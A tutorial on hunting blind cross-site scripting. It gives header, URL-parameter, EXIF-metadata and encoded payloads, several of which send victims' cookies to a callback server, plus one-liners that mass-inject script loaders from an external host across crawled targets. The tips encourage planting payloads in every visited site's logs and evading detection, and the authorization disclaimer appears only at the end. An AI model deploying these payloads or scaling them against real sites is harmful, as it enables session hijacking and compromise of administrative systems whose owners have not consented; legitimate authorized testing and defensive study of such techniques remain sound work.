Mastering Blind XSS

Advanced techniques for stealthy cross-site scripting attacks

10 Steps
21 Commands
10 Tools

Blind XSS (BXSS) is a stealthy form of cross-site scripting where payloads are stored in places you can't see immediately, such as logs, admin panels, email templates, file metadata and other backend systems, and only execute later when those systems render the data. Because there's no instant feedback, it requires specialized tools and techniques.

Pro Tips

  • Blind XSS payloads execute in contexts you can't see - admin panels, logs, email systems
  • You need an external server to receive callbacks when payloads fire
  • Patience is key - payloads may take hours, days, or weeks to execute
  • Always use your own controlled server for testing

Before hunting for Blind XSS, you need the right toolset configured and ready.

Pro Tips

  • Configure your Blind XSS Manager extension with your server address
  • Use Burp Suite for Match & Replace rules and request inspection
  • Arjun helps discover hidden parameters for bulk testing

The first step in any hunt is finding the right targets. Use custom dorks to locate various submission forms across the web that may be vulnerable to Blind XSS.

Pro Tips

  • Focus on contact forms, feedback forms, and support ticket systems
  • Admin panels and logging systems are prime targets
  • Look for applications that store user input for later review

Before injecting payloads, you need a system to generate them and listen for their callbacks. This involves a Blind XSS server and a payload manager.

Pro Tips

  • For sensitive testing, use a self-hosted solution you control
  • Public services are convenient but may log your activity
  • The extension helps manage multiple payloads across targets

Use Burp Suite's Match and Replace feature to automatically inject Blind XSS payloads into every request you make.

Commands

1Open Burp Suite Match & Replace settings
Navigate to Proxy > Settings > Match and Replace
2Add new replacement rule
Click 'Add' to create a new rule
3Configure header replacement
Set rule to replace User-Agent with your payload

Pro Tips

  • User-Agent header is commonly logged by backend systems
  • Apply the same logic to Referer, Origin, Cookie, Accept, Host, X-Forwarded-For headers
  • Custom headers like X-Api-Version are often rendered without sanitization

These are example HTTP request headers with Blind XSS payloads. Replace YOUR-COLLAB.DOMAIN with your actual callback server.

Commands

1Basic script injection in User-Agent
User-Agent: <script src="https://YOUR-COLLAB.DOMAIN"></script>
2Callback via Referer header
Referer: https://YOUR-COLLAB.DOMAIN/?r=ref
3X-Forwarded-For injection
X-Forwarded-For: 127.0.0.1, https://YOUR-COLLAB.DOMAIN/
4SVG payload with cookie exfiltration
X-Api-Version: <svg onload="new Image().src='https://YOUR-COLLAB.DOMAIN/?c='+document.cookie"></svg>
5Cookie header injection
Cookie: session=abc; extra=<img src=x onerror="new Image().src='https://YOUR-COLLAB.DOMAIN/?c='+document.cookie">

Pro Tips

  • Test multiple headers - you never know which one gets rendered
  • Some applications log all headers for debugging purposes
  • X-Api-Version and similar custom headers are often overlooked

For manual testing, use a User-Agent switcher browser extension to quickly inject payloads while browsing.

Pro Tips

  • Set your User-Agent to a payload and browse normally
  • Every page you visit will have your payload in its logs
  • Useful for passive hunting while doing other tasks

Use one-liner tools and scripts to scale your Blind XSS testing across many targets automatically.

Commands

1Arjun: Discover hidden parameters (passive mode)
arjun -u https://site.com/endpoint.php -oT arjun_output.txt -t 10 --rate-limit 10 --passive -m GET,POST --headers "User-Agent: Mozilla/5.0"
2Arjun: Parameter discovery with custom wordlist
arjun -u https://site.com/endpoint.php -oT arjun_output.txt -m GET,POST -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 10 --rate-limit 10 --headers "User-Agent: Mozilla/5.0"
3BXSS One-Liner: Inject into URL parameters
subfinder -d vulnweb.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://xss.report/c/coffinxp></script>' -parameters
4BXSS One-Liner: Inject into headers
subfinder -d vulnweb.com | gau | bxss -payload '"><script src=https://xss.report/c/coffinxp></script>' -header "X-Forwarded-For"

Pro Tips

  • Subfinder + GAU combination finds lots of endpoints quickly
  • BXSS tool handles payload injection at scale
  • Use rate limiting to avoid detection and blocking

A clever technique is embedding XSS payloads in image metadata. When the application displays the metadata, your payload executes.

Commands

1Inject XSS payload into image Comment field
exiftool -Comment='"><img src=x onerror=alert(1)>' test.jpg
2Inject payload into Title field
exiftool -Title='"><script src=https://YOUR-COLLAB.DOMAIN></script>' test.jpg
3Inject payload into Subject field
exiftool -Subject='"><svg onload=alert(1)>' test.jpg

Pro Tips

  • Windows: Right-click > Properties > Details to edit metadata
  • Target fields: Title, Subject, Comments, Author, Tags
  • Upload modified images to target applications
  • Works when apps display image metadata without sanitization

For highly-secured targets with strong input filtering, use encoded payloads. Create a single HTML file with dozens of payloads, each encoded differently (double URL encoding, triple URL encoding, HTML entities, etc.).

Commands

1Basic script tag payload
"><script src=https://YOUR-COLLAB.DOMAIN></script>
2Image error handler with cookie exfiltration
'"><img src=x onerror=this.src='https://YOUR-COLLAB.DOMAIN/?c='+document.cookie>
3SVG with fetch API
<svg/onload="fetch('https://YOUR-COLLAB.DOMAIN/?c='+document.cookie)">
4Base64 encoded payload
javascript:eval(atob('BASE64_ENCODED_PAYLOAD'))
5URL encoded payload
%22%3E%3Cscript%20src%3Dhttps%3A%2F%2FYOUR-COLLAB.DOMAIN%3E%3C%2Fscript%3E
6Double URL encoded payload
%25%32%32%25%33%45%25%33%43%73%63%72%69%70%74...

Pro Tips

  • Test multiple encoding variations against WAFs
  • Maintain a payload file with various bypass techniques
  • Different contexts require different encodings
  • HTML entity encoding, Unicode, and mixed case can bypass filters

Conclusion

Blind XSS isn't for the impatient, but it's one of the most rewarding vulnerabilities. Be everywhere: automate payloads in headers with Burp or a User-Agent switcher, scale with one-liners that crawl targets, and never underestimate hidden payloads in image EXIF data. Every technique here is a tool to ensure no input goes untested. Build a robust methodology, think creatively, and let the backend do the work for you.

For educational and authorized testing purposes only. Always obtain proper authorization before testing.